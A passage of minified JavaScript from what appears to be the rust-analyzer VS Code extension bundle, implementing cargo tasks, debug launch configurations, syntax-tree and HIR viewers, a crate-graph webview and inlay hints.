${g}`))),l.stderr.on("data",g=>n(g.toString())),tb.createInterface({input:l.stdout}).on("line",g=>{let v=JSON.parse(g);t(v)}),l.on("exit",(g,v)=>{g===0?s(g):a(new Error(`exit code: ${g}.`))})})}};async function rb(r){let e=await $l("rustc");return await Nl(`${e} --print sysroot`,{cwd:r})}async function nb(r){let e=await $l("rustc"),t=await Nl(`${e} -V -v`,{cwd:r});return/commit-hash:\s(.*)$/m.exec(t)[1]}function jl(){return $l("cargo")}var $l=Xy(async r=>{{let e=process.env[r.toUpperCase()];if(e)return e}if(await ek(r))return r;try{let e=Wn.Uri.joinPath(Wn.Uri.file(cc.homedir()),".cargo","bin",r);if(await ib(e))return e.fsPath}catch(e){ae.error("Failed to read the fs info",e)}return r});async function ek(r){let t=(process.env.PATH??"").split(uc.delimiter).flatMap(n=>{let i=uc.join(n,r);return cc.type()==="Windows_NT"?[i,`${i}.exe`]:[i]});for await(let n of t.map(tk))if(n)return!0;return!1}async function tk(r){return ib(Wn.Uri.file(r))}async function ib(r){try{return((await Wn.workspace.fs.stat(r)).type&Wn.FileType.File)!=0}catch{return!1}}var eo="cargo",nk="rust",ob=class{constructor(e){this.config=e}async provideTasks(){let e=[{command:"build",group:pt.TaskGroup.Build},{command:"check",group:pt.TaskGroup.Build},{command:"test",group:pt.TaskGroup.Test},{command:"clean",group:pt.TaskGroup.Clean},{command:"run",group:void 0}],t=[];for(let n of pt.workspace.workspaceFolders||[])for(let i of e){let s=await lc(n,{type:eo,command:i.command},`cargo ${i.command}`,[i.command],this.config.cargoRunner);s.group=i.group,t.push(s)}return t}async resolveTask(e){let t=e.definition;if(t.type===eo&&t.command){let n=[t.command].concat(t.args??[]);return await lc(e.scope,t,e.name,n,this.config.cargoRunner)}}};async function lc(r,e,t,n,i,s=!1){let a;if(i){let l=`${i}.buildShellExecution`;try{let u={kind:eo,args:n,cwd:e.cwd,env:e.env},g=await pt.commands.executeCommand(l,u);if(g)if(g instanceof pt.ShellExecution)a=g;else throw ae.debug("Invalid cargo ShellExecution",g),"Invalid cargo ShellExecution."}catch(u){if(s)throw`Cargo runner '${i}' failed! ${u}`}}if(!a){let l=e.overrideCargo??e.overrideCargo,u=await jl(),v=[...(l==null?void 0:l.split(" "))??[u],...n];a=new pt.ProcessExecution(v[0],v.slice(1),e)}return new pt.Task(e,r??pt.TaskScope.Workspace,t,nk,a,["$rustc"])}function sb(r){let e=new ob(r);return pt.tasks.registerTaskProvider(eo,e)}var ab=oe(require("os")),dr=oe(require("vscode")),to=oe(require("path"));var ro=dr.window.createOutputChannel("Debug");async function dc(r,e){var l;let t=(l=r.activeRustEditor)==null?void 0:l.document.uri;if(!t)return;let n=await cb(r,e);if(!n)return;let i=dr.workspace.getConfiguration("launch",t),s=i.get("configurations")||[],a=s.findIndex(u=>u.name===n.name);if(a!==-1){if(await dr.window.showErrorMessage(`Launch configuration '${n.name}' already exists!`,"Cancel","Update")==="Cancel")return;s[a]=n}else s.push(n);await i.update("configurations",s)}async function Wl(r,e){let t,n="",s=dr.workspace.getConfiguration("launch").get("configurations")||[],a=s.findIndex(l=>l.name===e.label);return a!==-1?(t=s[a],n=" (from launch.json)",ro.clear()):t=await cb(r,e),t?(ro.appendLine(`Launching debug configuration${n}:`),ro.appendLine(JSON.stringify(t,null,2)),dr.debug.startDebugging(void 0,t)):!1}async function cb(r,e){if(!r.activeRustEditor)return;let n={"vadimcn.vscode-lldb":sk,"ms-vscode.cpptools":ak},i=r.config.debug,s=null;if(i.engine==="auto"){for(var a in n)if(s=dr.extensions.getExtension(a),s)break}else s=dr.extensions.getExtension(i.engine);if(!s){await dr.window.showErrorMessage("Install [CodeLLDB](https://marketplace.visualstudio.com/items?itemName=vadimcn.vscode-lldb) or [MS C++ tools](https://marketplace.visualstudio.com/items?itemName=ms-vscode.cpptools) extension for debugging.");return}ro.clear(),r.config.debug.openDebugPane&&ro.show(!0);let l=dr.workspace.workspaceFolders,u=l.length>1,g=l[0],v=!u||!e.args.workspaceRoot?g:l.find(O=>{var z;return(z=e.args.workspaceRoot)==null?void 0:z.includes(O.uri.fsPath)})||g,b=to.normalize(v.uri.fsPath),C=u?`:${v.name}`:"";function w(O){return to.normalize(O).replace(b,"${workspaceFolder"+C+"}")}let E=await ok(e),q=Hl(e,r.config.runnableEnv),N=i.sourceFileMap;if(N==="auto"){let O=await nb(b),z=await rb(b),M=to.normalize(z+"/lib/rustlib/src/rust");N={},N[`/rustc/${O}/`]=M}let A=n[s.id](e,w(E),q,N);if(A.type in i.engineSettings){let O=i.engineSettings[A.type];for(var H in O)A[H]=O[H]}return A.name==="run binary"&&(A.name=`run ${to.basename(E)}`),A.cwd&&(A.cwd=w(A.cwd)),A}async function ok(r){return await new hs(r.args.workspaceRoot||".",ro).executableFromArgs(r.args.cargoArgs)}function sk(r,e,t,n){return{type:"lldb",request:"launch",name:r.label,program:e,args:r.args.executableArgs,cwd:r.args.workspaceRoot,sourceMap:n,sourceLanguages:["rust"],env:t}}function ak(r,e,t,n){return{type:ab.platform()==="win32"?"cppvsdbg":"cppdbg",request:"launch",name:r.label,program:e,args:r.args.executableArgs,cwd:r.args.workspaceRoot,sourceFileMap:n,env:t}}var ub=[{iconPath:new mi.ThemeIcon("save"),tooltip:"Save as a launch.json configurtation."}];async function ps(r,e,t=!1,n=!0){let i=r.activeRustEditor,s=r.client;if(!i||!s)return;let a={uri:i.document.uri.toString()},l=await s.sendRequest(My,{textDocument:a,position:s.code2ProtocolConverter.asPosition(i.selection.active)}),u=[];e&&u.push(e);for(let g of l)e&&JSON.stringify(e.runnable)===JSON.stringify(g)||t&&(g.label.startsWith("doctest")||g.label.startsWith("cargo"))||u.push(new lb(g));if(u.length===0){await mi.window.showErrorMessage("There's no debug target!");return}return await new Promise(g=>{let v=[],b=w=>{g(w),v.forEach(E=>E.dispose())},C=mi.window.createQuickPick();C.items=u,C.title="Select Runnable",n&&(C.buttons=ub),v.push(C.onDidHide(()=>b()),C.onDidAccept(()=>b(C.selectedItems[0])),C.onDidTriggerButton(async w=>{await dc(r,C.activeItems[0].runnable),b()}),C.onDidChangeActive(w=>{n&&w.length>0&&(w[0].label.startsWith("cargo")?C.buttons=[]:C.buttons.length===0&&(C.buttons=ub))}),C),C.show()})}var lb=class{constructor(e){this.runnable=e;this.label=e.label}};function Hl(r,e){let t={RUST_BACKTRACE:"short"};if(r.args.expectTest&&(t.UPDATE_EXPECT="1"),Object.assign(t,process.env),e)if(Array.isArray(e))for(let n of e)(!n.mask||new RegExp(n.mask).test(r.label))&&Object.assign(t,n.env);else Object.assign(t,e);return t}async function zl(r,e){if(r.kind!=="cargo")throw`Unexpected runnable kind: ${r.kind}`;let t=Bl(r),n={type:eo,command:t[0],args:t.slice(1),cwd:r.args.workspaceRoot||".",env:Hl(r,e.runnableEnv),overrideCargo:r.args.overrideCargo},i=mi.workspace.workspaceFolders[0],s=await lc(i,n,r.label,t,e.cargoRunner,!0);return s.presentationOptions.clear=!0,s.presentationOptions.focus=!1,s}function Bl(r){let e=[...r.args.cargoArgs];return r.args.cargoExtraArgs&&e.push(...r.args.cargoExtraArgs),r.args.executableArgs.length>0&&e.push("--",...r.args.executableArgs),e}var rt=oe(require("vscode"));var Ul=class{constructor(e){this.astDecorationType=rt.window.createTextEditorDecorationType({borderColor:new rt.ThemeColor("rust_analyzer.syntaxTreeBorder"),borderStyle:"solid",borderWidth:"2px"});this.rust2Ast=new db(()=>{let e=this.findAstTextEditor();if(!this.rustEditor||!e)return;let t=[];for(let n=0;n<e.document.lineCount;++n){let i=e.document.lineAt(n);if(!(i.text.lastIndexOf('"')>=0))continue;let a=this.parseRustTextRange(this.rustEditor.document,i.text);!a||t.push([a,this.findAstNodeRange(i)])}return t});e.pushCleanup(rt.languages.registerHoverProvider({scheme:"rust-analyzer"},this)),e.pushCleanup(rt.languages.registerDefinitionProvider({language:"rust"},this)),rt.workspace.onDidCloseTextDocument(this.onDidCloseTextDocument,this,e.subscriptions),rt.workspace.onDidChangeTextDocument(this.onDidChangeTextDocument,this,e.subscriptions),rt.window.onDidChangeVisibleTextEditors(this.onDidChangeVisibleTextEditors,this,e.subscriptions),e.pushCleanup(this)}dispose(){this.setRustEditor(void 0)}onDidChangeTextDocument(e){this.rustEditor&&e.document.uri.toString()===this.rustEditor.document.uri.toString()&&this.rust2Ast.reset()}onDidCloseTextDocument(e){this.rustEditor&&e.uri.toString()===this.rustEditor.document.uri.toString()&&this.setRustEditor(void 0)}onDidChangeVisibleTextEditors(e){if(!this.findAstTextEditor()){this.setRustEditor(void 0);return}this.setRustEditor(e.find(Pn))}findAstTextEditor(){return rt.window.visibleTextEditors.find(e=>e.document.uri.scheme==="rust-analyzer")}setRustEditor(e){this.rustEditor&&this.rustEditor!==e&&(this.rustEditor.setDecorations(this.astDecorationType,[]),this.rust2Ast.reset()),this.rustEditor=e}provideDefinition(e,t){var l;if(!this.rustEditor||e.uri.toString()!==this.rustEditor.document.uri.toString())return;let n=this.findAstTextEditor();if(!n)return;let i=(l=this.rust2Ast.get())==null?void 0:l.find(([u,g])=>u.contains(t));if(!i)return;let[s,a]=i;return n.revealRange(a),n.selection=new rt.Selection(a.start,a.end),[{targetRange:a,targetUri:n.document.uri,originSelectionRange:s,targetSelectionRange:a}]}provideHover(e,t){if(!this.rustEditor)return;let n=e.lineAt(t.line),i=this.parseRustTextRange(this.rustEditor.document,n.text);if(!i)return;this.rustEditor.setDecorations(this.astDecorationType,[i]),this.rustEditor.revealRange(i);let s=this.rustEditor.document.getText(i),a=this.findAstNodeRange(n);return new rt.Hover(["```rust\n"+s+"\n```"],a)}findAstNodeRange(e){let t=e.range.start,n=t.translate(void 0,e.firstNonWhitespaceCharacterIndex),i=t.translate(void 0,e.text.trimEnd().length);return new rt.Range(n,i)}parseRustTextRange(e,t){let n=/(\d+)\.\.(\d+)/.exec(t);if(!n)return;let[i,s]=n.slice(1).map(a=>this.positionAt(e,+a));return new rt.Range(i,s)}positionAt(e,t){if(e.eol===rt.EndOfLine.LF)return e.positionAt(t);let n=0,i=0,s=this.cache;for((s==null?void 0:s.doc)===e&&s.offset<=t&&({line:n,offset:i}=s);;){let a=e.lineAt(n).text.length+1;if(i+a>t)return this.cache={doc:e,offset:i,line:n},e.positionAt(t+n);i+=a,n+=1}}},db=class{constructor(e){this.compute=e}get(){return this.val??(this.val=this.compute())}reset(){this.val=void 0}};function pb(r){let e=new class{constructor(){this.uri=U.Uri.parse("rust-analyzer-status://status");this.eventEmitter=new U.EventEmitter}provideTextDocumentContent(t){var s;if(!U.window.activeTextEditor)return"";let n={},i=(s=r.activeRustEditor)==null?void 0:s.document;return i!=null&&(n.textDocument=r.client.code2ProtocolConverter.asTextDocumentIdentifier(i)),r.client.sendRequest(_y,n)}get onDidChange(){return this.eventEmitter.event}};return r.pushCleanup(U.workspace.registerTextDocumentContentProvider("rust-analyzer-status",e)),async()=>{let t=await U.workspace.openTextDocument(e.uri);e.eventEmitter.fire(e.uri),await U.window.showTextDocument(t,{viewColumn:U.ViewColumn.Two,preserveFocus:!0})}}function gb(r){let e=new class{constructor(){this.uri=U.Uri.parse("rust-analyzer-memory://memory");this.eventEmitter=new U.EventEmitter}provideTextDocumentContent(t){return U.window.activeTextEditor?r.client.sendRequest(Sy).then(n=>`Per-query memory usage:
`+n+`
(note: database has been cleared)`):""}get onDidChange(){return this.eventEmitter.event}};return r.pushCleanup(U.workspace.registerTextDocumentContentProvider("rust-analyzer-memory",e)),async()=>{e.eventEmitter.fire(e.uri);let t=await U.workspace.openTextDocument(e.uri);return U.window.showTextDocument(t,U.ViewColumn.Two,!0)}}function mb(r){return async()=>{let e=r.client;!e||await e.sendRequest(Ty)}}function vb(r){return async()=>{let e=r.activeRustEditor,t=r.client;if(!e||!t)return;let n=await t.sendRequest(Fy,{textDocument:r.client.code2ProtocolConverter.asTextDocumentIdentifier(e.document),positions:e.selections.map(i=>t.code2ProtocolConverter.asPosition(i.active))});e.selections=e.selections.map((i,s)=>{let a=t.protocol2CodeConverter.asPosition(n[s]),l=i.isEmpty?a:i.anchor;return new U.Selection(l,a)}),e.revealRange(e.selection)}}function yb(r){return async()=>{let e=r.activeRustEditor,t=r.client;if(!e||!t)return;let n=await t.sendRequest(Ly,{ranges:e.selections.map(i=>t.code2ProtocolConverter.asRange(i)),textDocument:r.client.code2ProtocolConverter.asTextDocumentIdentifier(e.document)});await e.edit(i=>{t.protocol2CodeConverter.asTextEdits(n).forEach(s=>{i.replace(s.range,s.newText)})})}}function bb(r){return Cb(r,ic.Up)}function wb(r){return Cb(r,ic.Down)}function Cb(r,e){return async()=>{let t=r.activeRustEditor,n=r.client;if(!t||!n)return;let i=await n.sendRequest(zy,{range:n.code2ProtocolConverter.asRange(t.selection),textDocument:r.client.code2ProtocolConverter.asTextDocumentIdentifier(t.document),direction:e});if(!i)return;let s=n.protocol2CodeConverter.asTextEdits(i);await ac(t,s)}}function Rb(r){async function e(){let t=r.activeRustEditor,n=r.client;if(!t||!n)return!1;let i=await n.sendRequest(Ny,{textDocument:r.client.code2ProtocolConverter.asTextDocumentIdentifier(t.document),position:n.code2ProtocolConverter.asPosition(t.selection.active)}).catch(a=>null);if(!i)return!1;let s=n.protocol2CodeConverter.asTextEdits(i);return await ac(t,s),!0}return async()=>{await e()||await U.commands.executeCommand("default:type",{text:`
`})}}function _b(r){return async()=>{let e=U.window.activeTextEditor,t=r.client;if(!e||!t||!(un(e.document)||Vy(e.document)))return;let n=await t.sendRequest(Iy,{textDocument:r.client.code2ProtocolConverter.asTextDocumentIdentifier(e.document),position:t.code2ProtocolConverter.asPosition(e.selection.active)});if(!!n)if(n.length===1){let i=n[0],s=t.protocol2CodeConverter.asUri(i.targetUri),a=t.protocol2CodeConverter.asRange(i.targetRange),l=await U.workspace.openTextDocument(s),u=await U.window.showTextDocument(l);u.selection=new U.Selection(a.start,a.start),u.revealRange(a,U.TextEditorRevealType.InCenter)}else{let i=e.document.uri.toString(),s=t.code2ProtocolConverter.asPosition(e.selection.active);await Kl(t,i,s,n.map(a=>gs.Location.create(a.targetUri,a.targetRange)))}}}function Sb(r){return async()=>{let e=r.activeRustEditor,t=r.client;if(!e||!t)return;let n=await t.sendRequest(Hy,{textDocument:r.client.code2ProtocolConverter.asTextDocumentIdentifier(e.document)});if(!n)return;let i=t.protocol2CodeConverter.asUri(n.uri),s=t.protocol2CodeConverter.asRange(n.range),a=await U.workspace.openTextDocument(i),l=await U.window.showTextDocument(a);l.selection=new U.Selection(s.start,s.start),l.revealRange(s,U.TextEditorRevealType.InCenter)}}function Tb(r){return async()=>{let e=U.window.activeTextEditor,t=r.client;if(!e||!t)return;let n=e.selection.active,i=e.selections,s=r.client.code2ProtocolConverter.asTextDocumentIdentifier(e.document),a={value:"() ==>> ()",prompt:"Enter request, for example 'Foo($a) ==>> Foo::new($a)' ",validateInput:async u=>{try{await t.sendRequest(Al,{query:u,parseOnly:!0,textDocument:s,position:n,selections:i})}catch(g){return g.toString()}return null}},l=await U.window.showInputBox(a);!l||await U.window.withProgress({location:U.ProgressLocation.Notification,title:"Structured search replace in progress...",cancellable:!1},async(u,g)=>{let v=await t.sendRequest(Al,{query:l,parseOnly:!1,textDocument:s,position:n,selections:i});await U.workspace.applyEdit(t.protocol2CodeConverter.asWorkspaceEdit(v))})}}function Pb(r){return async()=>{let{stdout:e}=(0,hb.spawnSync)(r.serverPath,["--version"],{encoding:"utf8"}),t=e.slice("rust-analyzer ".length).trim();U.window.showInformationMessage(`rust-analyzer version: ${t}`)}}function Db(r){return async()=>{await U.workspace.getConfiguration(`${r.config.rootSection}.inlayHints`).update("enable",!r.config.inlayHints.enable,U.ConfigurationTarget.Global)}}function Eb(r){let e=new class{constructor(){this.uri=U.Uri.parse("rust-analyzer://syntaxtree/tree.rast");this.eventEmitter=new U.EventEmitter;U.workspace.onDidChangeTextDocument(this.onDidChangeTextDocument,this,r.subscriptions),U.window.onDidChangeActiveTextEditor(this.onDidChangeActiveTextEditor,this,r.subscriptions)}onDidChangeTextDocument(t){un(t.document)&&gi(10).then(()=>this.eventEmitter.fire(this.uri))}onDidChangeActiveTextEditor(t){t&&Pn(t)&&this.eventEmitter.fire(this.uri)}provideTextDocumentContent(t,n){let i=r.activeRustEditor;if(!i)return"";let s=t.query==="range=true"&&!i.selection.isEmpty?r.client.code2ProtocolConverter.asRange(i.selection):null,a={textDocument:{uri:i.document.uri.toString()},range:s};return r.client.sendRequest(xy,a,n)}get onDidChange(){return this.eventEmitter.event}};return new Ul(r),r.pushCleanup(U.workspace.registerTextDocumentContentProvider("rust-analyzer",e)),r.pushCleanup(U.languages.setLanguageConfiguration("ra_syntax_tree",{brackets:[["[",")"]]})),async()=>{let t=U.window.activeTextEditor,i=!!t&&!t.selection.isEmpty?U.Uri.parse(`${e.uri.toString()}?range=true`):e.uri,s=await U.workspace.openTextDocument(i);e.eventEmitter.fire(i),await U.window.showTextDocument(s,{viewColumn:U.ViewColumn.Two,preserveFocus:!0})}}function xb(r){let e=new class{constructor(){this.uri=U.Uri.parse("rust-analyzer://viewHir/hir.txt");this.eventEmitter=new U.EventEmitter;U.workspace.onDidChangeTextDocument(this.onDidChangeTextDocument,this,r.subscriptions),U.window.onDidChangeActiveTextEditor(this.onDidChangeActiveTextEditor,this,r.subscriptions)}onDidChangeTextDocument(t){un(t.document)&&gi(10).then(()=>this.eventEmitter.fire(this.uri))}onDidChangeActiveTextEditor(t){t&&Pn(t)&&this.eventEmitter.fire(this.uri)}provideTextDocumentContent(t,n){let i=r.activeRustEditor,s=r.client;if(!i||!s)return"";let a={textDocument:s.code2ProtocolConverter.asTextDocumentIdentifier(i.document),position:s.code2ProtocolConverter.asPosition(i.selection.active)};return s.sendRequest(ky,a,n)}get onDidChange(){return this.eventEmitter.event}};return r.pushCleanup(U.workspace.registerTextDocumentContentProvider("rust-analyzer",e)),async()=>{let t=await U.workspace.openTextDocument(e.uri);e.eventEmitter.fire(e.uri),await U.window.showTextDocument(t,{viewColumn:U.ViewColumn.Two,preserveFocus:!0})}}function kb(r){let e=new class{constructor(){this.uri=U.Uri.parse("rust-analyzer://viewItemTree/itemtree.rs");this.eventEmitter=new U.EventEmitter;U.workspace.onDidChangeTextDocument(this.onDidChangeTextDocument,this,r.subscriptions),U.window.onDidChangeActiveTextEditor(this.onDidChangeActiveTextEditor,this,r.subscriptions)}onDidChangeTextDocument(t){un(t.document)&&gi(10).then(()=>this.eventEmitter.fire(this.uri))}onDidChangeActiveTextEditor(t){t&&Pn(t)&&this.eventEmitter.fire(this.uri)}provideTextDocumentContent(t,n){let i=r.activeRustEditor,s=r.client;if(!i||!s)return"";let a={textDocument:s.code2ProtocolConverter.asTextDocumentIdentifier(i.document)};return s.sendRequest(qy,a,n)}get onDidChange(){return this.eventEmitter.event}};return r.pushCleanup(U.workspace.registerTextDocumentContentProvider("rust-analyzer",e)),async()=>{let t=await U.workspace.openTextDocument(e.uri);e.eventEmitter.fire(e.uri),await U.window.showTextDocument(t,{viewColumn:U.ViewColumn.Two,preserveFocus:!0})}}function qb(r,e){return async()=>{let t=U.Uri.file(fb.join(r.extensionPath,"node_modules")),n=U.window.createWebviewPanel("rust-analyzer.crate-graph","rust-analyzer crate graph",U.ViewColumn.Two,{enableScripts:!0,retainContextWhenHidden:!0,localResourceRoots:[t]}),i={full:e},s=await r.client.sendRequest(Oy,i),a=n.webview.asWebviewUri(t),l=`
<!DOCTYPE html>
<meta charset="utf-8">
<head>
<style>
/* Fill the entire view */
html, body { margin:0; padding:0; overflow:hidden }
svg { position:fixed; top:0; left:0; height:100%; width:100% }
/* Disable the graphviz backgroud and fill the polygons */
.graph > polygon { display:none; }
:is(.node,.edge) polygon { fill: white; }
/* Invert the line colours for dark themes */
body:not(.vscode-light) .edge path { stroke: white; }
</style>
</head>
<body>
<script type="text/javascript" src="${a}/d3/dist/d3.min.js"><\/script>
<script type="javascript/worker" src="${a}/@hpcc-js/wasm/dist/index.min.js"><\/script>
<script type="text/javascript" src="${a}/d3-graphviz/build/d3-graphviz.min.js"><\/script>
<div id="graph"></div>
<script>
let graph = d3.select("#graph")
.graphviz()
.fit(true)
.zoomScaleExtent([0.1, Infinity])
.renderDot(\`${s}\`);
d3.select(window).on("click", (event) => {
if (event.ctrlKey) {
graph.resetZoom(d3.transition().duration(100));
}
});
<\/script>
</body>
`;n.webview.html=l}}function Ob(r){return qb(r,!1)}function Ab(r){return qb(r,!0)}function Fb(r){function e(n){let i=`// Recursive expansion of ${n.name}! macro
`;return i+="// "+"=".repeat(i.length-3),i+=`
`,i+=n.expansion,i}let t=new class{constructor(){this.uri=U.Uri.parse("rust-analyzer://expandMacro/[EXPANSION].rs");this.eventEmitter=new U.EventEmitter}async provideTextDocumentContent(n){let i=U.window.activeTextEditor,s=r.client;if(!i||!s)return"";let a=i.selection.active,l=await s.sendRequest(Ay,{textDocument:r.client.code2ProtocolConverter.asTextDocumentIdentifier(i.document),position:a});return l==null?"Not available":e(l)}get onDidChange(){return this.eventEmitter.event}};return r.pushCleanup(U.workspace.registerTextDocumentContentProvider("rust-analyzer",t)),async()=>{let n=await U.workspace.openTextDocument(t.uri);return t.eventEmitter.fire(t.uri),U.window.showTextDocument(n,U.ViewColumn.Two,!0)}}function Ib(r){return async()=>r.client.sendRequest(Dy)}async function Kl(r,e,t,n){r&&await U.commands.executeCommand("editor.action.showReferences",U.Uri.parse(e),r.protocol2CodeConverter.asPosition(t),n.map(r.protocol2CodeConverter.asLocation))}function Lb(r){return async(e,t,n)=>{await Kl(r.client,e,t,n)}}function Nb(r){return async e=>{let t=await U.window.showQuickPick(e);!t||await U.commands.executeCommand("rust-analyzer.resolveCodeAction",t.arguments)}}function Mb(r){return async e=>{let t=r.client;if(t){let n=t.protocol2CodeConverter.asUri(e.targetUri),i=t.protocol2CodeConverter.asRange(e.targetSelectionRange);i=i.with({end:i.start}),await U.window.showTextDocument(n,{selection:i})}}}function jb(r){return async()=>{let e=r.client,t=U.window.activeTextEditor;if(!t||!e)return;let n=t.selection.active,i={uri:t.document.uri.toString()},s=await e.sendRequest(Wy,{position:n,textDocument:i});s!=null&&await U.commands.executeCommand("vscode.open",U.Uri.parse(s))}}function $b(r){let e=r.client;return async t=>{var u;t.command=void 0;let n=await e.sendRequest(gs.CodeActionResolveRequest.type,t);if(!n.edit)return;let i=n.edit,s=e.protocol2CodeConverter.asWorkspaceEdit(i),a=uf(Xn({},i),{documentChanges:(u=i.documentChanges)==null?void 0:u.filter(g=>"kind"in g)}),l=e.protocol2CodeConverter.asWorkspaceEdit(a);await U.workspace.applyEdit(l),await Ml(s)}}function Wb(r){return async e=>{await Ml(e)}}function Hb(r){let e;return async()=>{let t=await ps(r,e);if(!t)return;t.detail="rerun",e=t;let n=await zl(t.runnable,r.config);return await U.tasks.executeTask(n)}}function zb(r){let e=r.client;return async()=>{let t=r.activeRustEditor;!t||!e||await U.window.withProgress({location:U.ProgressLocation.Notification,title:"Looking for tests...",cancellable:!1},async(n,i)=>{let s=t.document.uri.toString(),a=e.code2ProtocolConverter.asPosition(t.selection.active),u=(await e.sendRequest(jy,{textDocument:{uri:s},position:a})).map(g=>gs.Location.create(g.runnable.location.targetUri,g.runnable.location.targetSelectionRange));await Kl(e,s,a,u)})}}function Bb(r){return async e=>{if(!r.activeRustEditor)return;let n=await zl(e,r.config);return n.group=U.TaskGroup.Build,n.presentationOptions={reveal:U.TaskRevealKind.Always,panel:U.TaskPanelKind.Dedicated,clear:!0},U.tasks.executeTask(n)}}function Ub(r){let e;return async()=>{let t=await ps(r,e);if(!t)return;let n=Bl(t.runnable),i=["cargo",...n].join(" ");await U.env.clipboard.writeText(i),await U.window.showInformationMessage("Cargo invocation copied to the clipboard.")}}function Kb(r){let e;return async()=>{let t=await ps(r,e,!0);if(!!t)return t.detail="restart",e=t,await Wl(r,t.runnable)}}function Gb(r){return async e=>{await Wl(r,e)}}function Vb(r){return async()=>{let e=await ps(r,void 0,!0,!1);!e||await dc(r,e.runnable)}}var Gr=oe(require("vscode"));function Yb(r){let e={updater:null,async onConfigChange(){let t=r.config.inlayHints.typeHints||r.config.inlayHints.parameterHints||r.config.inlayHints.chainingHints;if(!(r.config.inlayHints.enable&&t))return this.dispose();await gi(100),this.updater?(this.updater.updateInlayHintsStyles(),this.updater.syncCacheAndRenderHints()):this.updater=new Xb(r)},dispose(){var t;(t=this.updater)==null||t.dispose(),this.updater=null}};r.pushCleanup(e),Gr.workspace.onDidChangeConfiguration(e.onConfigChange,e,r.subscriptions),e.onConfigChange().catch(console.error)}function no(r,e){let[t,n]={type:["after",a=>`\u200C: ${a}`],parameter:["before",a=>`${a}: `],chaining:["after",a=>`\u200C: ${a}`]}[r],i=new Gr.ThemeColor(`rust_analyzer.inlayHints.foreground.${r}Hints`),s=new Gr.ThemeColor(`rust_analyzer.inlayHints.background.${r}Hints`);return{decorationType:Gr.window.createTextEditorDecorationType({[t]:{color:i,backgroundColor:s,fontStyle:"normal",fontWeight:"normal",textDecoration:e?";font-size:smaller":"none"}}),toDecoration(a,l){return{range:l.asRange(a.range),renderOptions:{[t]:{contentText:n(a.label)}}}}}}var uk={typeHints:no("type",!0),paramHints:no("parameter",!0),chainingHints:no("chaining",!0)},lk={typeHints:no("type",!1),paramHints:no("parameter",!1),chainingHints:no("chaining",!1)},Xb=class{constructor(e){this.ctx=e;this.sourceFiles=new Map;this.disposables=[];this.pendingDisposeDecorations=void 0;Gr.window.onDidChangeVisibleTextEditors(this.onDidChangeVisibleTextEditors,this,this.disposables),Gr.workspace.onDidChangeTextDocument(this.onDidChangeTextDocument,this,this.disposables),e.visibleRustEditors.forEach(t=>this.sourceFiles.set(t.document.uri.toString(),{document:t.document,inlaysRequest:null,cachedDecorations:null})),this.updateInlayHintsStyles(),this.syncCacheAndRenderHints()}dispose(){this.sourceFiles.forEach(e=>{var t;return(t=e.inlaysRequest)==null?void 0:t.cancel()}),this.ctx.visibleRustEditors.forEach(e=>this.renderDecorations(e,{param:[],type:[],chaining:[]})),this.disposables.forEach(e=>e.dispose())}onDidChangeTextDocument({contentChanges:e,document:t}){e.length===0||!un(t)||this.syncCacheAndRenderHints()}updateInlayHintsStyles(){let e=this.ctx.config.inlayHints.smallerHints?uk:lk;e!==this.inlayHintsStyles&&(this.pendingDisposeDecorations=this.inlayHintsStyles,this.inlayHintsStyles=e)}syncCacheAndRenderHints(){this.sourceFiles.forEach((e,t)=>this.fetchHints(e).then(n=>{if(!!n){e.cachedDecorations=this.hintsToDecorations(n);for(let i of this.ctx.visibleRustEditors)i.document.uri.toString()===t&&this.renderDecorations(i,e.cachedDecorations)}}))}onDidChangeVisibleTextEditors(){let e=new Map;this.ctx.visibleRustEditors.forEach(async t=>{let n=t.document.uri.toString(),i=this.sourceFiles.get(n)??{document:t.document,inlaysRequest:null,cachedDecorations:null};if(e.set(n,i),!i.cachedDecorations){let s=await this.fetchHints(i);if(!s)return;i.cachedDecorations=this.hintsToDecorations(s)}this.renderDecorations(t,i.cachedDecorations)}),this.sourceFiles.forEach((t,n)=>{var i;e.has(n)||(i=t.inlaysRequest)==null||i.cancel()}),this.sourceFiles=e}renderDecorations(e,t){let{typeHints:n,paramHints:i,chainingHints:s}=this.inlayHintsStyles;if(this.pendingDisposeDecorations!==void 0){let{typeHints:a,paramHints:l,chainingHints:u}=this.pendingDisposeDecorations;e.setDecorations(a.decorationType,[]),e.setDecorations(l.decorationType,[]),e.setDecorations(u.decorationType,[])}e.setDecorations(n.decorationType,t.type),e.setDecorations(i.decorationType,t.param),e.setDecorations(s.decorationType,t.chaining)}hintsToDecorations(e){let{typeHints:t,paramHints:n,chainingHints:i}=this.inlayHintsStyles,s={type:[],param:[],chaining:[]},a=this.ctx.client.protocol2CodeConverter;for(let l of e)switch(l.kind){case Zi.Kind.TypeHint:{s.type.push(t.toDecoration(l,a));continue}case Zi.Kind.ParamHint:{s.param.push(n.toDecoration(l,a));continue}case Zi.Kind.ChainingHint:{s.chaining.push(i.toDecoration(l,a));continue}}return s}async fetchHints(e){var i;(i=e.inlaysRequest)==null||i.cancel();let t=new Gr.CancellationTokenSource;e.inlaysRequest=t;let n={textDocument:{uri:e.document.uri.toString()}};return Gy(this.ctx.client,$y,n,t.token).catch(s=>null).finally(()=>{e.inlaysRequest===t&&(e.inlaysRequest=null)})}};var Vr=oe(require("vscode"));var ln=oe(Fl()),dn=oe(require("vscode"));var ms=oe(yn());var Gl=oe(require("vscode"));function dk(r){return`[${r.title}](command:${r.command}?${encodeURIComponent(JSON.stringify(r.arguments))} '${r.tooltip}')`}function fk(r){let e=r.map(n=>(n.title?n.title+" ":"")+n.commands.map(dk).join(" | ")).join("___"),t=new dn.MarkdownString(e);return t.isTrusted=!0,t}function Qb(r,e,t){let n=Object.assign({},process.env);Object.assign(n,t);let i={command:r,options:{env:n}},s={run:i,debug:i},a=dn.window.createOutputChannel("Rust Analyzer Language Server Trace"),l=dn.workspace.getConfiguration("rust-analyzer");e.kind==="Detached Files"&&(l=Xn({detachedFiles:e.files.map(v=>v.uri.fsPath)},l));let u={documentSelector:[{scheme:"file",language:"rust"}],initializationOptions:l,diagnosticCollectionName:"rustc",traceOutputChannel:a,middleware:{async provideHover(v,b,C,w){var N;let E=dn.window.activeTextEditor,q=((N=E==null?void 0:E.selection)==null?void 0:N.contains(b))?g.code2ProtocolConverter.asRange(E.selection):g.code2ProtocolConverter.asPosition(b);return g.sendRequest(Ey,{textDocument:g.code2ProtocolConverter.asTextDocumentIdentifier(v),position:q},C).then(A=>{let H=g.protocol2CodeConverter.asHover(A);if(H){let O=A.actions;O&&H.contents.push(fk(O))}return 